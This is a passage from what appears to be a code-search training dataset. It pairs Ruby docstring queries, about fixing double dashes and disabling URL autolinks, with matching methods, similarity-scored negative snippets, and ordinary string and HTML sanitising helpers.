T.unsafe(nil)); end", "def test_remove_special_characters_from_id\nresult = remove_punctuation(\"sh\\nawn\")\nassert_equal(\"shawn\", result)\nend", "def underscore(a_word)\n u_word = a_word.dup\n u_word.gsub!(/::/, '/')\n u_word.gsub!(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2')\n u_word.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n u_word.tr!(\"-\", \"_\")\n u_word.downcase!\n u_word\nend", "def rubyify(sentence)\n sentence.downcase.gsub(\" \", \"_\")\nend", "def alnum?(str)\n str =~ /[[:alnum:]]/\nend", "def sanitise(str)\n str.gsub(/[^a-zA-Z0-1]+/, \"_\")[0, 20]\n end", "def pre\n 'alpha'\n end", "def special(txt, sub)\n raise 'not implemented'\n end", "def wash! string\n string.gsub! /\\e\\[[0-9]+m/, \"\"\n end", "def index_of_small_letter(word)\n #word.gsub(/[[:lower:]]/)\nend", "def format(text)\n text.to_s.downcase.gsub(UNWANTED_CHARACTERS, \"\")\n end", "def _prepareName ( name )\n name.to_s.gsub /[\\W]/, ''\n end", "def beautify(txt)\n #txt.gsub!(/\\*(.*)\\*/, \"<span style=\\\"font-weight: bold;\\\">\\\\1</span>\")\n #txt.gsub!(/\\/(.*)\\//, \"<em>\\\\1</em>\") # Italic\n #txt.gsub!(/\\_(.*)\\_/, \"<span style=\\\"font-decoration: underline;\\\">\\\\1</span>\")\n #txt.gsub!(/\\-(.*)\\-/, \"<span style=\\\"font-decoration: line-through;\\\">\\\\1</span>\")\n # <span style=\"font-size: large;\">ok?</span>\n # <span style=\"color: #FF0000;\">ok?</span>\n txt\n end", "def strip_control_and_extended_characters\n self.chars.inject(\"\") do |str, char|\n if char.ascii_only? and char.ord.between?(32,126)\n str << char\n end\n str\n end\n end", "def fix_name(name)\n if name[0,1] == '^'\n return \"#{ARTML.prefix}#{name[1..-1].strip}\"\n else\n return name.strip\n end\n end", "def fix_dash_dash(text)\n text.gsub(/&#8212;(?=\\S)/, '--')\n end", "def alnum()\n is_alnum = /[a-zA-Z0-9]+/ === data[position]\n self.skip_spaces = (not is_alnum)\n return is_alnum\n end", "def alphafilter\n self.gsub(/[^a-zA-Z\\s]/, '')\n end", "def fix_bad_characters(text)\n return \"\" if text.nil?\n \n # get the text into UTF-8 and get rid of invalid characters\n text = text.encode(\"UTF-8\", :invalid => :replace, :undef => :replace, :replace => \"\")\n \n text.gsub! \"<3\", \"&lt;3\"\n\n # convert carriage returns to newlines\n text.gsub!(/\\r\\n?/, \"\\n\")\n \n # replace curlyquotes\n # note: turns out not to be necessary?\n # text.gsub! \"\\xE2\\x80\\x98\", \"'\"\n # text.gsub! \"\\xE2\\x80\\x99\", \"'\"\n # text.gsub! \"\\xE2\\x80\\x9C\", '\"'\n # text.gsub! \"\\xE2\\x80\\x9D\", '\"'\n \n # argh, get rid of ____spacer____ inserts\n text.gsub! \"____spacer____\", \"\"\n \n # trash a whole bunch of crappy non-printing format characters stuck \n # in most commonly by MS Word\n text.gsub!(/\\p{Cf}/u, '')\n\n return text\n end", "def only_letters(word)\n word.delete(\"^A-z\")\nend", "def underscorize\n self.gsub(\" \",\"_\")\n end", "def remove_letter_a(words)\n\nend", "def docbook_pgl( text )\n DOCBOOK_GLYPHS.each do |re, resub, tog|\n next if tog and method( tog ).call\n text.gsub! re, resub\n end\n end", "def text_only\n @text_only = @text.gsub(@@PRIREG, '')\n #.gsub(@@CONREG, '').gsub(@@PROREG, '')\n end", "def strip_stars text\n return text unless text =~ %r%/\\*.*\\*/%m\n\n encoding = text.encoding\n\n text = text.gsub %r%Document-method:\\s+[\\w:.#=!?|^&<>~+\\-/*\\%@`\\[\\]]+%, ''\n\n space = ' '\n space = RDoc::Encoding.change_encoding space, encoding if encoding\n\n text.sub! %r%/\\*+% do space * $&.length end\n text.sub! %r%\\*+/% do space * $&.length end\n text.gsub! %r%^[ \\t]*\\*%m do space * $&.length end\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, encoding if encoding\n text.gsub(/^\\s+$/, empty)\n end", "def add_regexp_handling_RDOCLINK\n @markup.add_regexp_handling(/rdoc-[a-z]+:[^\\s\\]]+/, :RDOCLINK)\n end", "def text(str); end", "def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end", "def ascii_only?()\n #This is a stub, used for indexing\n end", "def end_of_word; end", "def test_ignoring_accent\n end", "def test_ignoring_accent\n end", "def html_markup_asciidoc(text); end", "def is_alnum(c)\n is_alpha(c) || is_digit(c)\nend", "def is_alnum(c)\n is_alpha(c) || is_digit(c)\nend", "def is_alnum(c)\n is_alpha(c) || is_digit(c)\nend", "def sanitize_label(label)\n label.gsub(%r![^a-z0-9_\\-.]!i, \"\")\n end", "def lex_en_plain_words; end", "def lex_en_plain_words; end", "def lex_en_plain_words; end" ]
[ "0.6228587", "0.61733824", "0.6089831", "0.6011499", "0.5984648", "0.5976928", "0.59172875", "0.5830568", "0.58111066", "0.58084667", "0.5723059", "0.5712835", "0.56935495", "0.564261", "0.5619697", "0.56172353", "0.56150955", "0.56021625", "0.55821913", "0.55645615", "0.5563634", "0.55634904", "0.5544671", "0.5539718", "0.55244875", "0.55214655", "0.55180347", "0.55120337", "0.5495017", "0.54695976", "0.5466369", "0.54650366", "0.5430496", "0.5422269", "0.5422209", "0.53993225", "0.5395878", "0.5386666", "0.5381077", "0.5373728", "0.5362029", "0.5360748", "0.53536284", "0.53444195", "0.5325689", "0.5322481", "0.5306086", "0.5291595", "0.52908945", "0.52896804", "0.528816", "0.5283161", "0.528315", "0.528304", "0.5278383", "0.5267856", "0.5265237", "0.52627665", "0.5255843", "0.5252063", "0.52470636", "0.5245489", "0.52419823", "0.52419573", "0.52405983", "0.5231854", "0.52306765", "0.5230109", "0.5227556", "0.5227448", "0.52229697", "0.5216703", "0.5208857", "0.52063584", "0.52020353", "0.5200815", "0.52004355", "0.518536", "0.51850724", "0.5184409", "0.518282", "0.517535", "0.51720786", "0.5169477", "0.51653314", "0.5164843", "0.51622975", "0.5155776", "0.51518947", "0.51508087", "0.5150685", "0.5150685", "0.51480985", "0.51475173", "0.51475173", "0.51475173", "0.5136347", "0.51336336", "0.51336336", "0.51336336" ]
0.52781963
55
Don't allow to turn into &8212; element. The chances of this being some option is far more likely than the typographical meaning.
def fix_dash_dash(text) text.gsub(/&#8212;(?=\S)/, '--') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def non_breaking(text, show_symbols: false, **opt)\n value = super(text, **opt)\n show_symbols ? value : hide_symbols(value)\n end", "def indicate_when_missing(value = nil) \n value.blank? ? \"&mdash;\" : value\n end", "def starred\n '&#x2605;'\n end", "def unstarred\n '&#9734;'\n end", "def utf8_enforcer_tag\n # Use raw HTML to ensure the value is written as an HTML entity; it\n # needs to be the right character regardless of which encoding the\n # browser infers.\n '<input name=\"utf8\" type=\"hidden\" value=\"&#x2713;\" autocomplete=\"off\" />'.html_safe\n end", "def describe_no_matches_as(message)\n return \"<span class='nomatches'>&mdash; #{message} &mdash;</span>\".html_safe\n end", "def sanitize()\n equiptment = [\"RNA-P1000\",\"RNA-P200\",\"RNA-P20\", \"Tube Block\", \"Bench Top\", \"Other\"]\n show do\n title \"Isolating RNA Effectively\"\n separator\n warning \"<b>Working with RNA can be tricky, since it is very sensitive to RNases.</b>\"\n note \"To prevent the degradation of our RNA and our hard work we must take care to use our best aseptic technique.\"\n note \"\"\n note \"\"\n check \"Wipe down area and equiptment you will be using with <b>70% EtOH</b> & <b>RNase ZAP</B>\"\n equiptment.each {|e| bullet \"<b>#{e}</b>\"}\n separator\n warning \"<b>Keep RNase ZAP on hand use whenever necessary.</b>\"\n end\n end", "def remove_nonprintable!\n replace(remove_nonprintable)\n end", "def export_as_apa_citation_txt\n (self[:citation_apa].presence || super).html_safe\n end", "def html_markup_textile_strict(text); end", "def ascii_only?()\n #This is a stub, used for indexing\n end", "def aceite\n 'N'\n end", "def correct_unclosed_html_tags(element)\n [:i, :sup].each do |tag|\n strip_stray_close_tags(element,tag)\n append_missing_close_tags(element,tag)\n end\n end", "def delete_illegal_chars\n self.title.delete!(\"~\")\n end", "def set_NoHTML(value)\n set_input(\"NoHTML\", value)\n end", "def labelize(text, show_symbols: false, **opt)\n value = super(text, **opt)\n show_symbols ? value : hide_symbols(value)\n end", "def sanitize(options={})\n coder = HTMLEntities.new()\n \n #lowercase it\n encoded = self.downcase()\n \n #convert special chars to html entities\n encoded = coder.encode(encoded, :named)\n \n #replace spaces by _ (underscore)\n encoded = encoded.gsub(/\\s+/i, '_')\n \n while ((found = encoded.match(/&([^&;]+);/i)))\n #char without accent, is the first in the html entity definition\n char = found[1][0]\n \n char_ord = coder.decode(found[0]).ord()\n if ( (char_ord >= 192 && char_ord <= 214) ||\n (char_ord >= 216 && char_ord <= 223) ||\n (char_ord >= 224 && char_ord <= 246) ||\n (char_ord >= 248 && char_ord <= 255)\n )\n #valid character\n else\n char = \"_\"\n end\n \n #replace encoded\n encoded = encoded.gsub(/#{ Regexp.escape(found[0]) }/, char)\n end\n \n return encoded\n end", "def skip_html_injection=(_arg0); end", "def is_character_style?\n false\n end", "def clarify_characters\n unclear_characters = {\n ',' => 'Comma (,)',\n '.' => 'Period (.)',\n ';' => 'Semicolon (;)',\n ':' => 'Colon (:)',\n '`' => 'Backtick (`)',\n '-' => 'Minus Sign (-)',\n '+' => 'Plus Sign (+)',\n '=' => 'Equals Sign (=)',\n '_' => 'Underscore (_)',\n '~' => 'Tilde (~)'\n }\n unclear_characters.key?(self) ? unclear_characters[self] : self\n end", "def export_as_apa_citation_txt\n get_citation_style(:apa)&.html_safe || super # TODO: APA for non-MARC\n end", "def requires_like_escape?\n false\n end", "def suppress_encoding=(_arg0); end", "def carets(str)\n \"&#60;#{str.to_s}&#62;\"\n end", "def non_printable_node?(node)\n %w[style head title meta script].include?(node.name.downcase)\n end", "def verify_markup_options; end", "def discard_a(event)\n @content << %Q|<span class=\"only_a\">#{event.old_element}</span><br/>\\n|\n end", "def optionify\n output = self.apachify\n output = \"-#{output[3..-1]}\" if self.to_s[0..3] == 'not_'\n output\n end", "def optionify\n output = self.apachify\n output = \"-#{output[3..-1]}\" if self.to_s[0..3] == 'not_'\n output\n end", "def isatty()\n #This is a stub, used for indexing\n end", "def non_breaking(text, force: false)\n text ||= ''.html_safe\n html = text.is_a?(ActiveSupport::SafeBuffer)\n text = ERB::Util.h(text) unless html\n # noinspection RubyMismatchedReturnType\n (html && !force) ? text : text.gsub(/[ \\t]/, '&nbsp;').html_safe\n end", "def modal_no_thanks_link\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.a.className(create_ats_regex_string(\"closetext\")), format_method(__method__))\n end", "def emphasis; end", "def redcloth_glyphs\n [[ '&#8217;', \"'\" ],\n [ '&#8216;', \"'\" ],\n [ '&lt;', '<' ], \n [ '&gt;', '>' ], \n [ '&#8221;', '\"' ],\n [ '&#8220;', '\"' ],\n [ '&#8230;', '...' ],\n [ '\\1&#8212;', '--' ], \n [ ' &rarr; ', '->' ], \n [ ' &#8211; ', '-' ], \n [ '&#215;', 'x' ], \n [ '&#8482;', '(TM)' ], \n [ '&#174;', '(R)' ],\n [ '&#169;', '(C)' ]]\n end", "def allow_short_words\n not @emphasis[:ignore_short_words]\n end", "def export_as_chicago_citation_txt\n (self[:citation_chicago].presence || super).html_safe\n end", "def export_as_mla_citation_txt\n (self[:citation_mla].presence || super).html_safe\n end", "def printable?; self >= 0x20 and self <= 0x7e; end", "def correct_unncessarily_escaped_html_tags(element)\n statement = element.statement\n [:sup, :i].each do |tag|\n statement.gsub!(/&lt;#{tag}&gt;/,%Q{<#{tag}>})\n statement.gsub!(/&lt;\\/#{tag}&gt;/,%Q{</#{tag}>})\n end\n element.instance_variable_set(:@statement,statement)\n end", "def element_is_text?\n !self[:is_tag]\n end", "def ✘\n \"{r{✘}}\"\n end", "def help_tip(text); \"\" end", "def xbutton\n content_tag :span, '&times;'.html_safe, aria: { hidden: true }\n end", "def to_xml\r\n super(:dasherize => false)\r\n end", "def allowed_html_instructions(show_list = false)\n h(ts(\"Plain text with limited html\")) + \n link_to_help(\"html-help\") + (show_list ? \n \"<code>a, abbr, acronym, address, [alt], [axis], b, big, blockquote, br, caption, center, cite, [class], code, \n col, colgroup, dd, del, dfn, div, dl, dt, em, h1, h2, h3, h4, h5, h6, [height], hr, [href], i, img, \n ins, kbd, li, [name], ol, p, pre, q, s, samp, small, span, [src], strike, strong, sub, sup, table, tbody, td, \n tfoot, th, thead, [title], tr, tt, u, ul, var, [width]</code>\" : \"\").html_safe\n end", "def html_friendly\n\t\tself.to_s.downcase.gsub(/\\W/,'_').gsub(/_+/,'_')\n\tend", "def convert_smart_quote(el)\r\n t = case el.value\r\n when :lsquo\r\n \"\\u2018\"\r\n when :rsquo\r\n \"\\u2019\"\r\n when :ldquo\r\n \"\\u201C\"\r\n when :rdquo\r\n \"\\u201D\"\r\n end\r\n #puts \"smartquote sub #{t}\"\r\n %{para(\"#{t}\", :margin_left => 0, :margin_right => 0)}\r\n end", "def html_attributify\n downcase.gsub(/[_\\/\\s]/, \"-\").gsub(/[^0-9a-z\\-]+/, \"\")\n end", "def cleanup(text, default = \"&mdash;\".html_safe)\n text.blank? ? default : h(text)\n end", "def ie(x)\n strip_tags(x).html_safe\n end", "def wp_protect_special_option( option )\n if 'alloptions' == option || 'notoptions' == option\n raise sprintf( '%s is a protected WP option and may not be modified', esc_html(option))\n end\n end", "def show_blanks_as(option)\n return unless option\n\n unless [:gap, :zero, :span].include?(option.to_sym)\n raise \"Unknown show_blanks_as() option '#{option}'\\n\"\n end\n\n @show_blanks = option\n end", "def suppress_encoding; end", "def reject_spacer_css_class?\n traits.include?(:tip)\n end", "def html_safe\n self\n end", "def to_s\r\n \"&#{wrap}\"\r\n end", "def colon_nonce; 'DONT_EDIT_WITH_GUI_:'; end", "def to_xhtml(options = T.unsafe(nil)); end", "def to_xhtml(options = T.unsafe(nil)); end", "def specialty; end", "def emoji_puntuacion puntuacion\n puntuacion < 0 ? '🤢' : '😋'\n end", "def no_tags label\n return label.gsub(/\\<.+\\/?\\>/,'')\n end", "def aria_attrs?\n !qti?\n end", "def unescaped_xml_without_soft_hyphens\n str = ::CGI.unescapeHTML local_copy.encoded_io.read\n local_copy.encoded_io.rewind\n # get rid of MS Office baddies\n str.gsub! SOFT_HYPHEN, ''\n str\n end", "def suspended_mark\n suspended? ? raw('&#x2611;') : raw('&#x2610;')\n end", "def fix_mac_vs_pc!(email)\n email.gsub!(/&#38;/, \"&amp;\")\n email.gsub!(/ &#8212;/, \"&#8212;\")\n email.gsub!(/^\\s+/, \"\")\n email.gsub!(/\\r\\n?/, \"\\n\")\n end", "def export_as_apa_citation_txt\n return '' unless to_marc\n super\n end", "def ascii?\n ! self.unicode?\n end", "def hyphenated_set_encoding\n \"#{self[0].set_escaped(no_ctrl: true)}-#{self[-1].set_escaped(no_ctrl: true)}\"\n end", "def opposite_style_detected; end", "def opposite_style_detected; end", "def opposite_style_detected; end", "def html?; end", "def html?; end", "def html?; end", "def export_as_chicago_citation_txt\n get_citation_style(:chicago)&.html_safe || super # TODO:CMOS for non-MARC\n end", "def sanitize\n # ui_enabled only for the belongs_to, has_many and many_to_many types\n self.ui_enabled = nil unless self.is_relationship?\n\n # text_formatting only for the text type\n self.text_formatting = nil unless self.type == :text\n end", "def exclude_from_xss_checks; %w{ body html } end", "def isatty () end", "def isatty () end", "def escape_html(str, type = T.unsafe(nil)); end", "def html_mask_stuff!(html)\n self.mask_special_emails!(html)\n self.remove_privacy_sensitive_things!(html)\n end", "def restrict_default_value\n self.content = nil if self.content.eql?('Edit this text to see the text area expand and contract.')\n end", "def tmp_gap_mark_text\n \"<<<gap-mark>>>\"\n end", "def contains_forbidden?(string)\n string.dup.force_encoding('UTF-8').include?(\"\\u2019\")\n end", "def to_xhtml()\n nil\n end", "def discard_a(event)\n if @last.nil?\n @content << %Q|<span class=\"only_a\"><del>|\n elsif @last != :only_a\n @content << %Q|#{closing}</span><span class=\"only_a\"><del>|\n end\n @content << %Q|#{event.old_element.to_s}|\n @last = :only_a\n @closing = \"</del>\"\n end", "def canonicize!\n complement! if !canonical?\n end", "def nonpoint?(letter)\n index = @layout.index(letter)\n [0, 1, 2, 9, 10, 11, 3, 6, 18, 21, 24].include?(index)\n end", "def currency_denoted\n '&#36;'\n end", "def disable_dash?\n !can_dash\n end", "def allowed_html_help_tip(tags = :minimal)\n return nil\n # tags = \"p, em, strong, a, ul, ol, li\" if tags.to_sym == :minimal\n # tags = \"p, em, strong, a, ul, ol, li, table, tr, td\" if tags.to_sym == :all\n # return I18n.t(:allowed_html_tags, comma_separated_tags: tags)\n end", "def test_accept_every_option\n text = \"Hello **world** -- how are _you_ today? I'm ~~fine~~, ~yourself~?\"\n parse_opt = %i[SOURCEPOS UNSAFE VALIDATE_UTF8 SMART LIBERAL_HTML_TAG FOOTNOTES STRIKETHROUGH_DOUBLE_TILDE]\n render_opt = parse_opt + %i[HARDBREAKS NOBREAKS GITHUB_PRE_LANG TABLE_PREFER_STYLE_ATTRIBUTES FULL_INFO_STRING]\n\n extensions = %i[table tasklist strikethrough autolink tagfilter]\n\n assert_equal \"<p>Hello <strong>world</strong> – how are <em>you</em> today? I’m <del>fine</del>, ~yourself~?</p>\\n\", CommonMarker.render_doc(text, parse_opt, extensions).to_html\n\n # NOTE: how tho the doc returned has sourcepos info, by default the renderer\n # won't emit it. for that we need to pass in the render opt\n assert_equal \"<p data-sourcepos=\\\"1:1-1:65\\\">Hello <strong>world</strong> – how are <em>you</em> today? I’m <del>fine</del>, ~yourself~?</p>\\n\", CommonMarker.render_doc(text, parse_opt, extensions).to_html(render_opt, extensions)\n\n assert_equal \"<p data-sourcepos=\\\"1:1-1:65\\\">Hello <strong>world</strong> – how are <em>you</em> today? I’m <del>fine</del>, ~yourself~?</p>\\n\", CommonMarker.render_html(text, parse_opt, extensions)\n end", "def isatty\n end", "def isatty\n end", "def clean_line(line)\n if @options[:include_plus_and_minus_in_html]\n line.sub(/^(.)/, '<span class=\"symbol\">\\1</span>')\n else\n line.sub(/^./, '')\n end.chomp\n end", "def need_help_link\n\t\t@browser.span(text: @need_help_text)\n\tend", "def short_appearance\n \"{!{FY#{long_name} {FGis here.#{@lost_link ? \" {@[Lost Link]\" : \"\"}\\n\"\n end", "def latex?\n false\n end", "def input_html_options; end" ]
[ "0.6206546", "0.6163841", "0.5966966", "0.5703777", "0.56582975", "0.55576384", "0.5514348", "0.55070126", "0.5506799", "0.5440216", "0.53787667", "0.5374548", "0.5316483", "0.5315723", "0.5289512", "0.52755105", "0.52734506", "0.52443695", "0.5243715", "0.5239792", "0.52326626", "0.5228574", "0.5226313", "0.5218221", "0.52168727", "0.5175047", "0.5173981", "0.5170194", "0.5170194", "0.51627386", "0.5158394", "0.51534003", "0.51445967", "0.5144355", "0.5137586", "0.51365495", "0.5134121", "0.51258487", "0.5112667", "0.5109715", "0.51012814", "0.50832546", "0.50552", "0.50549483", "0.5054498", "0.5048944", "0.5046813", "0.5042194", "0.5036254", "0.50250924", "0.50244063", "0.50155383", "0.5011927", "0.50076234", "0.50046635", "0.4995594", "0.49953565", "0.4981708", "0.4981708", "0.4979449", "0.4976362", "0.4965569", "0.49631447", "0.49626148", "0.49609798", "0.49607086", "0.49565494", "0.49489117", "0.49464348", "0.49303344", "0.49303344", "0.49303344", "0.49160492", "0.49160492", "0.49160492", "0.48990858", "0.48951262", "0.48949334", "0.4887489", "0.4887489", "0.48832107", "0.48760742", "0.4875567", "0.48709235", "0.4868017", "0.48666272", "0.48623958", "0.48591974", "0.4846521", "0.48239827", "0.48230213", "0.482289", "0.4822231", "0.48192728", "0.48192728", "0.4814807", "0.48102516", "0.48074612", "0.47987506", "0.47931433" ]
0.5720888
3
Disable autolink of URLs
def handle_special_HYPERLINK(special) # rubocop:disable Style/MethodName @hyperlink ? special.text : super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disable_link\n @disable_link = true\n end", "def inline_docbook_autolink_urls(text)\n text.gsub!(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n %(#{a}<ulink url=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{b}#{c}</ulink>#{d})\n end\n end\n end", "def autolink?\n @autolink\n end", "def inline_textile_autolink_urls(text)\n text.gsub!(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{b}#{c}</a>#{d})\n end\n end\n end", "def clear_link\n @link = nil\n @autolink = false\n end", "def autolink(text)\n auto_link(text, :html => { :target => '_blank' })\n end", "def ignore_links\n @link_rules.reject\n end", "def check_only_links\n end", "def strip_links\n gsub(%r{</?a.*?>}, \"\")\n end", "def autolink(str)\n str.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n \"#{a}<a href=\\\"#{ b == 'www.' ? 'http://www.' : b }#{c}\\\">#{b + c}</a>#{d}\"\n end\n end\n end", "def noreferrer?; end", "def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\n end\n end\n end", "def fix_urls\n return unless self.url\n self.url.gsub!(/^(.*)/, 'http://\\1') unless self.url =~ %r{^http://} or self.url.empty?\n end", "def garantir_link\n if link.present?\n link_params = link\n _link = link_params.split('/').reject { |l| l.blank? || l == 'http:' }\n _link[0].sub!(/s.|[^.]*.|\\s./, '') if _link[0].split('.').length == 3\n if ['herokuapp.com', 'codepen.io'].include? _link[0]\n link_params.gsub!('/' + _link[2] + '/', '/debug/')\n link_params.remove!('?' + _link[-1].split('?')[-1])\n elsif !_link[0]['.com'].try(:presence?)\n # sem link\n link_params.sub!('/', '') if _link[0] == '/'\n else\n errors.add(:link, 'Não é permitido.')\n return false\n end\n self.link = link_params\n end\n end", "def parse_autolink; end", "def enable_seo_post_urls\n false\n end", "def clean_destination_url\n if !self.url.blank? and self.url !~ REGEX_LINK_HAS_PROTOCOL\n self.url.insert(0, URL_PROTOCOL_HTTP)\n end\n end", "def link_sanitizer; end", "def link_sanitizer; end", "def link_sanitizer; end", "def auto_link_urls(text, html_options = {})\n extra_options = Mash.new(html_options).to_html_attributes\n extra_options = \" #{extra_options}\" unless extra_options.blank?\n\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end", "def without_anchor\n anchor = to_anchor\n without_anchor = anchor ? gsub(anchor, '') : self\n\n Wgit::Url.new(without_anchor)\n end", "def strip_google_tracking_links(doc)\n doc.css(\"a\").each do |node|\n href = node.attr(\"href\").to_s\n next if href.blank?\n\n query_string = URI.parse(href).query\n actual_url = Rack::Utils.parse_nested_query(query_string)[\"q\"]\n\n node[\"href\"] = actual_url\n end\n end", "def strip_links(html); end", "def strip_links(html); end", "def strip_links(html); end", "def clarify_external_links(hpricot)\n (hpricot/\"a\").each {|link| link.set_attribute('class', 'external') and link.set_attribute('target', '_new') unless link.attributes['href'].match(/:\\/\\/(\\w+\\.)?juscribe\\.com(\\/[-_\\/\\?\\w]*)?$/)} # Test forging with juscribe.com.hacker.com\n end", "def prepend_urls \n unless check_url(self.homepage_url)\n self.homepage_url = \"http://#{self.homepage_url}\"\n end\n unless check_url(self.source_url)\n self.source_url = \"http://#{self.source_url}\"\n end\n unless check_url(self.author_contact)\n self.author_contact = \"http://#{self.author_contact}\"\n end\n end", "def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n href = $&\n punctuation = ''\n left, right = $`, $'\n # detect already linked URLs and URLs in the middle of a tag\n if left =~ /<[^>]+$/ && right =~ /^[^>]*>/\n # do not change string; URL is alreay linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n if href.sub!(/[^\\w\\/-]$/, '') and punctuation = $& and opening = BRACKETS[punctuation]\n if href.scan(opening).size > href.scan(punctuation).size\n href << punctuation\n punctuation = ''\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless href.index('http') == 0\n\n %Q(<a href=\"#{href}\">#{link_text}</a>)\n end\n end\n end", "def url(link)\n '#'\n end", "def html_filter_annotate_bare_links\n @html.search('a[@href]').each do |node|\n href = node.attributes['href'].content\n text = node.inner_text\n\n next unless href == text || href[0] == '#' ||\n CGI.unescapeHTML(href) == \"mailto:#{CGI.unescapeHTML(text)}\"\n\n node.set_attribute('data-bare-link', 'true')\n end\n end", "def skip_link!\n raise(SkipLink)\n end", "def prepend_http_to_url\n self.url = \"http://#{url}\" unless url.blank? || url.starts_with?('http://') || url.starts_with?('https://')\n end", "def ignore_urls\n @url_rules.reject\n end", "def href\n super || '#'\n end", "def my_auto_link(text, href_options = {})\n extra_options = tag_options(href_options.stringify_keys) || \"\"\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n text = yield(text) if block_given?\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\"#{extra_options}>#{text}</a>#{d})\n end\n end\n end", "def fix_url\n\t if self.url and not self.url.match(/^(http|https):\\/\\/.*/)\n\t self.url = 'http://' + self.url\n end\n\tend", "def nofollowify\n self.gsub(/<a(.*?)>/i, '<a\\1 rel=\"nofollow\">')\n end", "def clear_links ()\n\nend", "def clean_destination_url\n if !self.url.blank? and self.url !~ REGEX_LINK_HAS_PROTOCOL\n self.url.insert(0, URL_PROTOCOL_HTTP)\n end\n end", "def pretend_links_do_not_exist\n test_mode && remove_old_links\n end", "def inline_auto_link(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n tag = content_tag('a', proto + url, :href => \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\", :class => 'external')\n %(#{leading}#{tag}#{post})\n end\n end\n end", "def auto_link_urls(text, options = {}, &block)\n auto_link_entities(text, Extractor.extract_urls_with_indices(text, :extract_url_without_protocol => false), options, &block)\n end", "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^#{WORD_PATTERN}\\/-]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n #link_text = sanitize(link_text)\n #href = sanitize(href)\n end\n #content_tag(:a, link_text, link_attributes.merge('href' => href), !!options[:sanitize]) + punctuation.reverse.join('')\n \"<a href=#{href} target='_blank'>#{link_text}</a>\"\n end\n end\n end", "def remove_url_anchor(url)\n url.sub( /#.*/, '' ) # /#.*/ everything after #\nend", "def ensure_http_link\t\t\n\t\tself.link = \"http://\" + self.link if !self.link.nil? and !self.link.start_with?(\"http://\")\n\tend", "def no_index\n set_meta_tags nofollow: true\n end", "def link() url; end", "def link() url; end", "def remove_url_anchor url\n url.gsub!(/#.*/, '') if url =~ /#/\n url\nend", "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = html_options.stringify_keys\n text.gsub(AUTO_LINK_RE) do\n scheme, href = $1, $&\n punctuation = []\n\n if auto_linked?($`, $')\n # do not change string; URL is already linked\n href\n else\n # don't include trailing punctuation character as part of the URL\n while href.sub!(/[^\\w\\/-]$/, '')\n punctuation.push $&\n if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size\n href << punctuation.pop\n break\n end\n end\n\n link_text = block_given?? yield(href) : href\n href = 'http://' + href unless scheme\n\n unless options[:sanitize] == false\n link_text = sanitize(link_text)\n href = sanitize(href)\n end\n content_tag(:a, link_text, link_attributes.merge('href' => href,'target' => \"_blank\"), !!options[:sanitize]) + punctuation.reverse.join('')\n end\n end\n end", "def my_links\n end", "def require_links=(flag)\n @require_links=flag\n end", "def cleanup_urls\n self.url = self.url.to_s.downcase\n end", "def make_links(html, **opt)\n opt[:rel] ||= 'noreferrer'\n opt[:target] ||= '_blank' unless params[:action] == 'v2'\n html.to_s.gsub(%r{&quot;https?://.+&quot;}) do |s|\n url = href = s.split('&quot;')[1].html_safe\n url = make_link(url, href, **opt) if href.present?\n \"&quot;#{url}&quot;\"\n end\n end", "def auto_link_urls(text, html_options = {}, options = {})\n link_attributes = 